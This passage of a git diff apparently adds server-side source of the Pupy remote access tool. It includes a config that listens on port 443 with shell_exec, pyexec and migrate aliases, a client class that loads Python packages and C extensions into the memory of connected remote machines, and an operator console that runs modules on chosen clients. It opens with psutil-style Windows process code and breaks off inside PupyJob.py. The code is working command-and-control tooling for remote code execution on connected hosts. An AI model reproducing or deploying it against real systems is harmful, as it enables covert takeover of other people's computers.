ntpinfo(*cext.proc_info(self.pid)).create_time + raise + + @wrap_exceptions + def num_threads(self): + return ntpinfo(*cext.proc_info(self.pid)).num_threads + + @wrap_exceptions + def threads(self): + rawlist = cext.proc_threads(self.pid) + retlist = [] + for thread_id, utime, stime in rawlist: + ntuple = _common.pthread(thread_id, utime, stime) + retlist.append(ntuple) + return retlist + + @wrap_exceptions + def cpu_times(self): + try: + ret = cext.proc_cpu_times(self.pid) + except OSError as err: + if err.errno in ACCESS_DENIED_SET: + nt = ntpinfo(*cext.proc_info(self.pid)) + ret = (nt.user_time, nt.kernel_time) + else: + raise + return _common.pcputimes(*ret) + + @wrap_exceptions + def suspend(self): + return cext.proc_suspend(self.pid) + + @wrap_exceptions + def resume(self): + return cext.proc_resume(self.pid) + + @wrap_exceptions + def cwd(self): + if self.pid in (0, 4): + raise AccessDenied(self.pid, self._name) + # return a normalized pathname since the native C function appends + # "\\" at the and of the path + path = cext.proc_cwd(self.pid) + return py2_strencode(os.path.normpath(path)) + + @wrap_exceptions + def open_files(self): + if self.pid in (0, 4): + return [] + ret = set() + # Filenames come in in native format like: + # "\Device\HarddiskVolume1\Windows\systemew\file.txt" + # Convert the first part in the corresponding drive letter + # (e.g. "C:\") by using Windows's QueryDosDevice() + raw_file_names = cext.proc_open_files(self.pid) + for _file in raw_file_names: + _file = _convert_raw_path(_file) + if isfile_strict(_file): + if not PY3: + _file = py2_strencode(_file) + ntuple = _common.popenfile(_file, -1) + ret.add(ntuple) + return list(ret) + + @wrap_exceptions + def connections(self, kind='inet'): + return net_connections(kind, _pid=self.pid) + + @wrap_exceptions + def nice_get(self): + value = cext.proc_priority_get(self.pid) + if enum is not None: + value = Priority(value) + return value + + @wrap_exceptions + def nice_set(self, value): + return cext.proc_priority_set(self.pid, value) + + # available on Windows >= Vista + if hasattr(cext, "proc_io_priority_get"): + @wrap_exceptions + def ionice_get(self): + return cext.proc_io_priority_get(self.pid) + + @wrap_exceptions + def ionice_set(self, value, _): + if _: + raise TypeError("set_proc_ionice() on Windows takes only " + "1 argument (2 given)") + if value not in (2, 1, 0): + raise ValueError("value must be 2 (normal), 1 (low) or 0 " + "(very low); got %r" % value) + return cext.proc_io_priority_set(self.pid, value) + + @wrap_exceptions + def io_counters(self): + try: + ret = cext.proc_io_counters(self.pid) + except OSError as err: + if err.errno in ACCESS_DENIED_SET: + nt = ntpinfo(*cext.proc_info(self.pid)) + ret = (nt.io_rcount, nt.io_wcount, nt.io_rbytes, nt.io_wbytes) + else: + raise + return _common.pio(*ret) + + @wrap_exceptions + def status(self): + suspended = cext.proc_is_suspended(self.pid) + if suspended: + return _common.STATUS_STOPPED + else: + return _common.STATUS_RUNNING + + @wrap_exceptions + def cpu_affinity_get(self): + def from_bitmask(x): + return [i for i in xrange(64) if (1 << i) & x] + bitmask = cext.proc_cpu_affinity_get(self.pid) + return from_bitmask(bitmask) + + @wrap_exceptions + def cpu_affinity_set(self, value): + def to_bitmask(l): + if not l: + raise ValueError("invalid argument %r" % l) + out = 0 + for b in l: + out |= 2 ** b + return out + + # SetProcessAffinityMask() states that ERROR_INVALID_PARAMETER + # is returned for an invalid CPU but this seems not to be true, + # therefore we check CPUs validy beforehand. + allcpus = list(range(len(per_cpu_times()))) + for cpu in value: + if cpu not in allcpus: + if not isinstance(cpu, (int, long)): + raise TypeError( + "invalid CPU %r; an integer is required" % cpu) + else: + raise ValueError("invalid CPU %r" % cpu) + + bitmask = to_bitmask(value) + cext.proc_cpu_affinity_set(self.pid, bitmask) + + @wrap_exceptions + def num_handles(self): + try: + return cext.proc_num_handles(self.pid) + except OSError as err: + if err.errno in ACCESS_DENIED_SET: + return ntpinfo(*cext.proc_info(self.pid)).num_handles + raise + + @wrap_exceptions + def num_ctx_switches(self): + ctx_switches = ntpinfo(*cext.proc_info(self.pid)).ctx_switches + # only voluntary ctx switches are supported + return _common.pctxsw(ctx_switches, 0) diff --git a/pupy/pupy.conf b/pupy/pupy.conf new file mode 100644 index 00000000..1a9b9c63 --- /dev/null +++ b/pupy/pupy.conf @@ -0,0 +1,17 @@ +[pupyd] +address = 0.0.0.0 +port = 443 +keyfile = crypto/server.pem +certfile = crypto/cert.pem + +[cmdline] +display_banner = yes + +[aliases] +info = get_info +pyexec = pyexec +exec = shell_exec +ps = ps +migrate = migrate +contest = pyexec -c 'print "ok"' +#tasklist = shell_exec 'tasklist /v' diff --git a/pupy/pupylib/PupyClient.py b/pupy/pupylib/PupyClient.py new file mode 100644 index 00000000..6fb91ae6 --- /dev/null +++ b/pupy/pupylib/PupyClient.py @@ -0,0 +1,149 @@ +# -*- coding: UTF8 -*- +# -------------------------------------------------------------- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE +# -------------------------------------------------------------- + +import os.path +import os +import textwrap +import logging +import cPickle +from .PupyErrors import PupyModuleError +import traceback +import textwrap + +class PupyClient(object): + def __init__(self, desc, pupsrv): + self.desc=desc + #alias + self.conn=self.desc["conn"] + self.pupsrv=pupsrv + self.load_pupyimporter() + + def __str__(self): + return "PupyClient(id=%s, user=%s, hostname=%s, platform=%s)"%(self.desc["id"], self.desc["user"], self.desc["hostname"], self.desc["platform"]) + + def __del__(self): + del self.desc + + def short_name(self): + try: + return self.desc["platform"][0:3].lower()+"_"+self.desc["hostname"]+"_"+self.desc["macaddr"].replace(':','') + except Exception: + return "unknown" + + def is_unix(self): + return not self.is_windows() + + def is_windows(self): + if "windows" in self.desc["platform"].lower(): + return True + return False + + def is_proc_arch_64_bits(self): + if "64" in self.desc["proc_arch"]: + return True + return False + + def get_packages_path(self): + """ return the list of path to search packages for depending on client OS and architecture """ + path=[] + if self.is_windows(): + if self.is_proc_arch_64_bits(): + path.append(os.path.join("packages","windows","amd64")) + else: + path.append(os.path.join("packages","windows","x86")) + path.append(os.path.join("packages","windows","all")) + elif self.is_unix(): + if self.is_proc_arch_64_bits(): + path.append(os.path.join("packages","linux","amd64")) + else: + path.append(os.path.join("packages","linux","x86")) + path.append(os.path.join("packages","linux","all")) + path.append(os.path.join("packages","all")) + return path + + def load_pupyimporter(self): + """ load pupyimporter in case it is not """ + if "pupyimporter" not in self.conn.modules.sys.modules: + pupyimporter_code="" + with open(os.path.join("packages","all","pupyimporter.py"),'rb') as f: + pupyimporter_code=f.read() + self.conn.execute(textwrap.dedent( + """ + import imp + import sys + def pupyimporter_preimporter(code): + mod = imp.new_module("pupyimporter") + mod.__name__="pupyimporter" + mod.__file__="\\\\pupyimporter" + mod.__package__="pupyimporter" + sys.modules["pupyimporter"]=mod + exec code+"\\n" in mod.__dict__ + mod.install() + """)) + self.conn.namespace["pupyimporter_preimporter"](pupyimporter_code) + + def load_package(self, module_name, force=False): + """ + load a python module into memory depending on what OS the client is. + This function can load all types of modules in memory for windows both x86 and amd64 including .pyd C extensions + For other platforms : loading .so in memory is not supported yet. + """ + modules_dic={} + start_path=module_name.replace(".",os.sep) + package_found=False + package_path=None + for search_path in self.get_packages_path(): + try: + if os.path.isdir(os.path.join(search_path,start_path)): # loading a real package with multiple files + for root, dirs, files in os.walk(os.path.join(search_path,start_path)): + for f in files: + module_code="" + with open(os.path.join(root,f),'rb') as fd: + module_code=fd.read() + modules_dic[os.path.join(root[len(search_path.rstrip(os.sep))+1:].replace("\\","/"),f)]=module_code + package_found=True + else: # loading a simple file + for ext in [".py",".pyc",".pyd"]: + filepath=os.path.join(search_path,start_path+ext) + if os.path.isfile(filepath): + module_code="" + with open(filepath,'rb') as f: + module_code=f.read() + cur="" + for rep in start_path.split(os.sep)[:-1]: + if not cur+rep+"/__init__.py" in modules_dic: + modules_dic[rep+"/__init__.py"]="" + cur+=rep+"/" + + modules_dic[start_path+ext]=module_code + package_found=True + break + if package_found: + package_path=search_path + break + except Exception as e: + raise PupyModuleError("Error while loading package %s : %s"%(module_name, traceback.format_exc())) + if "pupyimporter" not in self.conn.modules.sys.modules: + raise PupyModuleError("pupyimporter module does not exists on the remote side !") + #print modules_dic + if not modules_dic: + raise PupyModuleError("Couldn't load package %s : no such file or directory (path=%s)"%(module_name,repr(self.get_packages_path()))) + if force or ( module_name not in self.conn.modules.sys.modules ): + self.conn.modules.pupyimporter.pupy_add_package(cPickle.dumps(modules_dic)) # we have to pickle the dic for two reasons : because the remote side is not authorized to iterate/access to the dictionary declared on this side and because it is more efficient + logging.debug("package %s loaded on %s from path=%s"%(module_name, self.short_name(), package_path)) + return True + return False + diff --git a/pupy/pupylib/PupyCmd.py b/pupy/pupylib/PupyCmd.py new file mode 100644 index 00000000..d48546a0 --- /dev/null +++ b/pupy/pupylib/PupyCmd.py @@ -0,0 +1,570 @@ +# -------------------------------------------------------------- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE +# -------------------------------------------------------------- +import sys +import readline +import cmd +import shlex +import string +import re +import os +import os.path +import traceback +try: + import ConfigParser as configparser +except ImportError: + import configparser +import random +import code +try: + import __builtin__ as builtins +except ImportError: + import builtins +from multiprocessing.pool import ThreadPool +import time +import logging +import traceback +import rpyc +import rpyc.utils.classic +from .PythonCompleter import PupyCompleter +from .PupyErrors import PupyModuleExit, PupyModuleError +from .PupyModule import PupyArgumentParser +from .PupyJob import PupyJob +import argparse +from pupysh import __version__ +import copy + +BANNER=""" + _____ _ _ _ + ___ ___ | _ |_ _ ___ _ _ ___| |_ ___| | | ___ ___ +|___|___| | __| | | . | | | |_ -| | -_| | | |___|___| + |__| |___| _|_ | |___|_|_|___|_|_| + |_| |___| + + %s +"""%__version__ + + +def color(s, color, prompt=False): + """ color a string using ansi escape characters. set prompt to true to add marks for readline to see invisible portions of the prompt + cf. http://stackoverflow.com/questions/9468435/look-how-to-fix-column-calculation-in-python-readline-if-use-color-prompt""" + if s is None: + return "" + s=str(s) + res=s + COLOR_STOP="\033[0m" + prompt_stop="" + prompt_start="" + if prompt: + prompt_stop="\002" + prompt_start="\001" + if prompt: + COLOR_STOP=prompt_start+COLOR_STOP+prompt_stop + if color.lower()=="random": + color=random.choice(["blue","red","green","yellow"]) + if color.lower()=="blue": + res=prompt_start+"\033[34m"+prompt_stop+s+COLOR_STOP + if color.lower()=="red": + res=prompt_start+"\033[31m"+prompt_stop+s+COLOR_STOP + if color.lower()=="green": + res=prompt_start+"\033[32m"+prompt_stop+s+COLOR_STOP + if color.lower()=="yellow": + res=prompt_start+"\033[33m"+prompt_stop+s+COLOR_STOP + if color.lower()=="grey": + res=prompt_start+"\033[37m"+prompt_stop+s+COLOR_STOP + if color.lower()=="darkgrey": + res=prompt_start+"\033[1;30m"+prompt_stop+s+COLOR_STOP + return res + +def get_columns_size(l): + size_dic={} + for d in l: + for i,k in d.iteritems(): + if type(k) is not str: + k=str(k) + if not i in size_dic: + size_dic[i]=len(k) + elif size_dic[i]> ','blue', prompt=True) + doc_header = 'Available commands :\n' + complete_space=['run'] + def __init__(self, pupsrv, configFile="pupy.conf"): + cmd.Cmd.__init__(self) + self.pupsrv=pupsrv + self.config = configparser.ConfigParser() + self.config.read(configFile) + self.init_readline() + try: + if not self.config.getboolean("cmdline","display_banner"): + self.intro="" + except Exception: + pass + self.aliases={} + try: + for command, alias in self.config.items("aliases"): + logging.debug("adding alias: %s => %s"%(command, alias)) + self.aliases[command]=alias + except Exception as e: + logging.warning("error while parsing aliases from pupy.conf ! %s"%str(traceback.format_exc())) + + @staticmethod + def table_format(diclist, wl=[], bl=[]): + """ + this function takes a list a dictionaries to display in columns. Dictionnaries keys are the columns names. + All dictionaries must have the same keys. + wl is a whitelist of column names to display + bl is a blacklist of columns names to hide + """ + res="" + if diclist: + diclist=obj2utf8(diclist) + keys=[x for x in diclist[0].iterkeys()] + if wl: + keys=[x for x in wl if x in keys] + if bl: + keys=[x for x in keys if x not in bl] + titlesdic={} + for k in keys: + titlesdic[k]=k + diclist.insert(0,titlesdic) + colsize=get_columns_size(diclist) + i=0 + for c in diclist: + if i==1: + res+="-"*sum([k+2 for k in [y for x,y in colsize.iteritems() if x in titlesdic]])+"\n" + i+=1 + for name in keys: + if c[name] is not unicode: + value=str(c[name]).strip() + else: + value=c[name].strip() + utf8align=len(value)-len(value.decode('utf8',errors='replace')) + res+=value.ljust(colsize[name]+2+utf8align) + res+="\n" + return res + + def default(self, line): + tab=line.split(" ",1) + if tab[0] in self.aliases: + arg_parser = PupyArgumentParser(prog=tab[0], add_help=False) + arg_parser.add_argument('-f', '--filter', metavar='', help="filter to a subset of all clients. All fields available in the \"info\" module can be used. example: run get_info -f 'platform:win release:7 os_arch:64'") + arg_parser.add_argument('--bg', action='store_true', help="run in background") + arg_parser.add_argument('arguments', nargs=argparse.REMAINDER, metavar='', help="module arguments") + if len(tab)==1: + self.do_run(self.aliases[tab[0]]) + else: + left=[] + try: + modargs,left=arg_parser.parse_known_args(shlex.split(tab[1])) + except PupyModuleExit: + return + #putting run arguments (-f and --bg) back at their place in case of aliases + newargs_str="" + if modargs.bg: + newargs_str+=" --bg" + if modargs.filter: + newargs_str+=" -f '"+modargs.filter.replace("'","'\\''")+"'" + newargs_str+=" "+self.aliases[tab[0]] + if left: + newargs_str+=" "+' '.join(left) + if modargs.arguments: + newargs_str+=" '"+(' '.join(modargs.arguments)).replace("'","'\\''")+"'" + self.do_run(newargs_str.strip()) + else: + self.display_error("Unknown syntax: %s"%line) + + def init_readline(self): + try: + readline.read_history_file(".pupy_history") + except Exception: + pass + self.init_completer() + + def cmdloop(self, intro=None): + try: + cmd.Cmd.cmdloop(self, intro) + except KeyboardInterrupt as e: + self.stdout.write('\n') + self.cmdloop(intro="") + + def init_completer(self): + readline.set_pre_input_hook(self.pre_input_hook) + readline.set_completer_delims(" \t") + + def completenames(self, text, *ignored): + dotext = 'do_'+text + if text in self.complete_space: + return [a[3:]+" " for a in self.get_names() if a.startswith(dotext)]+[x+" " for x in self.aliases.iterkeys() if x.startswith(text)] + return [a[3:] for a in self.get_names() if a.startswith(dotext)]+[x for x in self.aliases.iterkeys() if x.startswith(text)] + + def pre_input_hook(self): + #readline.redisplay() + pass + + def emptyline(self): + """ do nothing when an emptyline is entered """ + pass + + def do_help(self, arg): + """ show this help """ + if arg: + try: + func = getattr(self, 'help_' + arg) + except AttributeError: + try: + doc=getattr(self, 'do_' + arg).__doc__ + if doc: + self.stdout.write("%s\n"%str(doc)) + return + except AttributeError: + pass + self.stdout.write("%s\n"%str(self.nohelp % (arg,))) + return + func() + else: + names = self.get_names() + cmds_doc = [] + help = {} + for name in names: + if name[:5] == 'help_': + help[name[5:]]=1 + names.sort() + # There can be duplicates if routines overridden + prevname = '' + for name in names: + if name[:3] == 'do_': + if name == prevname: + continue + prevname = name + cmd=name[3:] + if cmd in help: + cmds_doc.append(cmd) + del help[cmd] + elif getattr(self, name).__doc__: + cmds_doc.append((cmd, getattr(self, name).__doc__)) + else: + cmds_doc.append((cmd, "")) + for name in [x for x in self.aliases.iterkeys()]: + cmds_doc.append((name, self.pupsrv.get_module(self.aliases[name]).__doc__)) + + self.stdout.write("%s\n"%str(self.doc_header)) + for command,doc in cmds_doc: + self.stdout.write("- {:<10} {}\n".format(command, color(doc,'grey'))) + + @staticmethod + def format_log(msg): + """ return a formated log line """ + return msg.rstrip()+"\n" + + @staticmethod + def format_error(msg): + """ return a formated error log line """ + return color('[-] ','red')+msg.rstrip()+"\n" + + @staticmethod + def format_warning(msg): + """ return a formated warning log line """ + return color('[!] ','yellow')+msg.rstrip()+"\n" + + @staticmethod + def format_success(msg): + """ return a formated info log line """ + return color('[+] ','green')+msg.rstrip()+"\n" + + @staticmethod + def format_info(msg): + """ return a formated info log line """ + return color('[%] ','darkgrey')+msg.rstrip()+"\n" + + @staticmethod + def format_section(msg): + """ return a formated info log line """ + return color('#>#> ','green')+color(msg.rstrip(),'darkgrey')+color(' <#<#','green')+"\n" + + def display(self, msg, modifier=None): + if not type(msg) is unicode: + msg=str(msg) + if msg: + if modifier=="error": + sys.stdout.write(PupyCmd.format_error(msg)) + elif modifier=="success": + sys.stdout.write(PupyCmd.format_success(msg)) + elif modifier=="info": + sys.stdout.write(PupyCmd.format_info(msg)) + elif modifier=="warning": + sys.stdout.write(PupyCmd.format_warning(msg)) + else: + sys.stdout.write(PupyCmd.format_log(msg)) + + def display_success(self, msg): + return self.display(msg, modifier="success") + + def display_error(self, msg): + return self.display(msg, modifier="error") + + def display_warning(self, msg): + return self.display(msg, modifier="warning") + + def display_info(self, msg): + return self.display(msg, modifier="info") + + def postcmd(self, stop, line): + readline.write_history_file('.pupy_history') + + def do_list_modules(self, arg): + """ List available modules with a brief description """ + for m,d in self.pupsrv.list_modules(): + self.stdout.write("{:<20} {}\n".format(m, color(d,'grey'))) + + def do_clients(self, arg): + """ List connected clients """ + client_list=self.pupsrv.get_clients_list() + self.display(PupyCmd.table_format([x.desc for x in client_list], wl=["id", "user", "hostname", "platform", "release", "os_arch", "address"])) + + def do_jobs(self, arg): + """ manage jobs """ + arg_parser = PupyArgumentParser(prog='jobs', description='list or kill jobs') + arg_parser.add_argument('-k', '--kill', metavar='', help="print the job current output before killing it") + arg_parser.add_argument('-l', '--list', action='store_true', help="list jobs") + arg_parser.add_argument('-p', '--print-output', metavar='', help="print a job output") + try: + modargs=arg_parser.parse_args(shlex.split(arg)) + except PupyModuleExit: + return + try: + if modargs.kill: + j=self.pupsrv.get_job(modargs.kill) + self.display(j.result_summary()) + j.stop() + del j + self.display_success("job killed") + elif modargs.print_output: + j=self.pupsrv.get_job(modargs.print_output) + self.display(j.result_summary()) + elif modargs.list: + if len(self.pupsrv.jobs)>0: + dictable=[] + for k,v in self.pupsrv.jobs.iteritems(): + dic={"id":k, "job":str(v)} + status="running" + if v.is_finished(): + status="finished" + dic["status"]=status + dic["clients_nb"]=str(v.get_clients_nb()) + dictable.append(dic) + self.display(PupyCmd.table_format(dictable, wl=["id", "job", "clients_nb","status"])) + else: + self.display_error("No jobs are currently running !") + else: #display help + try: + arg_parser.parse_args(["-h"]) + except PupyModuleExit: + return + except PupyModuleError as e: + self.display_error(e) + except Exception as e: + self.display_error(traceback.format_exc()) + + def do_python(self,arg): + """ start interacting with the server local python interpreter (for debugging purposes). Auto-completion available. """ + orig_exit=builtins.exit + orig_quit=builtins.quit + def disabled_exit(*args, **kwargs): + self.display_warning("exit() disabled ! use ctrl+D to exit the python shell") + builtins.exit=disabled_exit + builtins.quit=disabled_exit + oldcompleter=readline.get_completer() + try: + local_ns={"pupsrv":self.pupsrv} + readline.set_completer(PupyCompleter(local_ns=local_ns).complete) + readline.parse_and_bind('tab: complete') + code.interact(local=local_ns) + except Exception as e: + self.display_error(str(e)) + finally: + readline.set_completer(oldcompleter) + readline.parse_and_bind('tab: complete') + builtins.exit=orig_exit + builtins.quit=orig_quit + + def do_run(self, arg): + """ run a module on one or multiple clients""" + arg_parser = PupyArgumentParser(prog='run', description='run a module on one or multiple clients') + arg_parser.add_argument('module', metavar='', help="module") + arg_parser.add_argument('-f', '--filter', metavar='', help="filter to a subset of all clients. All fields available in the \"info\" module can be used. example: run get_info -f 'platform:win release:7 os_arch:64'") + arg_parser.add_argument('--bg', action='store_true', help="run in background") + arg_parser.add_argument('arguments', nargs=argparse.REMAINDER, metavar='', help="module arguments") + pj=None + try: + modargs=arg_parser.parse_args(shlex.split(arg)) + except PupyModuleExit: + return + if not modargs.arguments: + args="" + else: + args=modargs.arguments + selected_clients="*" + if modargs.filter: + selected_clients=modargs.filter + + try: + mod=self.pupsrv.get_module(modargs.module) + except Exception as e: + self.display_error("%s : %s"%(modargs.module,str(e))) + return + if not mod: + self.display_error("unknown module %s !"%modargs.module) + return + #logging.debug("args passed to %s: %s"%(modargs.module,args)) + l=self.pupsrv.get_clients(selected_clients) + if not l: + if not self.pupsrv.clients: + self.display_error("no clients currently connected") + else: + self.display_error("no clients match this search!") + return + + try: + self.pupsrv.module_parse_args(modargs.module, args) + except PupyModuleExit: + return + if mod.max_clients!=0 and len(l)>mod.max_clients: + self.display_error("This module is limited to %s client(s) at a time and you selected %s clients"%(mod.max_clients, len(l))) + return + modjobs=[x for x in self.pupsrv.jobs.itervalues() if str(type(x.pupymodules[0]))== str(mod) and x.pupymodules[0].client in l] + #print [x for x in self.pupsrv.jobs.itervalues()] + #print modjobs + #if mod.unique_instance and len(modjobs)>=1: + # self.display_error("This module is limited to %s instances per client. Job(s) containing this modules are still running."%(len(modjobs))) + # return + pj=None + try: + interactive=False + if mod.daemon and mod.unique_instance and modjobs: + pj=modjobs[0] + else: + pj=PupyJob(self.pupsrv,"%s %s"%(modargs.module, args)) + if len(l)==1 and not modargs.bg and not mod.daemon: + ps=mod(l[0], pj, stdout=self.stdout) + pj.add_module(ps) + interactive=True + else: + for c in l: + ps=mod(c, pj) + pj.add_module(ps) + pj.start(args) + if not modjobs: + if modargs.bg: + self.pupsrv.add_job(pj) + return + elif mod.daemon: + self.pupsrv.add_job(pj) + error=pj.interactive_wait() + if error and not modjobs: + pj.stop() + + except KeyboardInterrupt: + self.display_warning("interrupting job ... (please wait)") + pj.interrupt() + self.display_warning("job interrupted") + if not interactive: + self.display(pj.result_summary()) + if pj: + del pj + + #text : word match + #line : complete line + def complete_run(self, text, line, begidx, endidx): + mline = line.partition(' ')[2] + + joker=1 + found_module=False + + #handle autocompletion of modules with --filter argument + for x in shlex.split(mline): + if x in ("-f", "--filter"):#arguments with a param + joker+=1 + elif x in ("--bg",):#arguments without parameter + pass + else: + joker-=1 + if not x.startswith("-") and joker==0: + found_module=True + if joker<0: + return + + if ((len(text)>0 and joker==0) or (len(text)==0 and not found_module and joker<=1)): + return [re.sub(r"(.*)\.pyc?$",r"\1",x) for x in os.listdir("./modules") if x.startswith(text) and not x=="__init__.py" and not x=="__init__.pyc"] + + def do_exit(self, arg): + """ Quit Pupy Shell """ + sys.exit() + + def do_read(self, arg): + """ execute a list of commands from a file """ + try: + if not arg: + self.display_error("usage: read ") + return + with open(arg,'r') as f: + self.cmdqueue.extend(f.read().splitlines()) + except Exception as e: + self.display_error(str(e)) + + def _complete_path(self, path=None): + "Perform completion of filesystem path." + if not path: + return os.listdir('.') + dirname, rest = os.path.split(path) + tmp = dirname if dirname else '.' + res = [os.path.join(dirname, p) + for p in os.listdir(tmp) if p.startswith(rest)] + # more than one match, or single match which does not exist (typo) + if len(res) > 1 or not os.path.exists(path): + return res + # resolved to a single directory, so return list of files below it + if os.path.isdir(path): + return [os.path.join(path, p) for p in os.listdir(path)] + # exact file match terminates this completion + return [path + ' '] + + def complete_read(self, text, line, begidx, endidx): + tab = line.split(' ',1) + if len(tab)>=2: + return self._complete_path(tab[1]) + + diff --git a/pupy/pupylib/PupyErrors.py b/pupy/pupylib/PupyErrors.py new file mode 100644 index 00000000..a7c62bda --- /dev/null +++ b/pupy/pupylib/PupyErrors.py @@ -0,0 +1,19 @@ +# -*- coding: UTF8 -*- +# -------------------------------------------------------------- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE +# -------------------------------------------------------------- +class PupyModuleExit(BaseException): + pass +class PupyModuleError(BaseException): + pass diff --git a/pupy/pupylib/PupyJob.py b/pupy/pupylib/PupyJob.py new file mode 100644 index 00000000..7b31d463 --- /dev/null +++ b/pupy/pupylib/PupyJob.py @@ -0,0 +1,195 @@ +# -*- coding: UTF8 -*- +# -------------------------------------------------------------- +# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE +# -------------------------------------------------------------- + +import time +import threading +import inspect +import ctypes +import logging +from .PupyErrors import PupyModuleError, PupyModuleExit +import rpyc + +#original code for interruptable threads from http://tomerfiliba.com/recipes/Thread2/ +def _async_raise(tid, exctype): + """raises the exception, performs cleanup if needed""" + if not inspect.isclass(exctype): + raise TypeError("Only types can be raised (not instances)") + res = ctypes.pythonapi.PyThreadState_SetAsyncExc(ctypes.c_long(tid), ctypes.py_object(exctype)) + if res == 0: + raise ValueError("invalid thread id") + elif res != 1: + # """if it returns a number greater than one, you're in trouble, + # and you should call it again with exc=NULL to revert the effect""" + 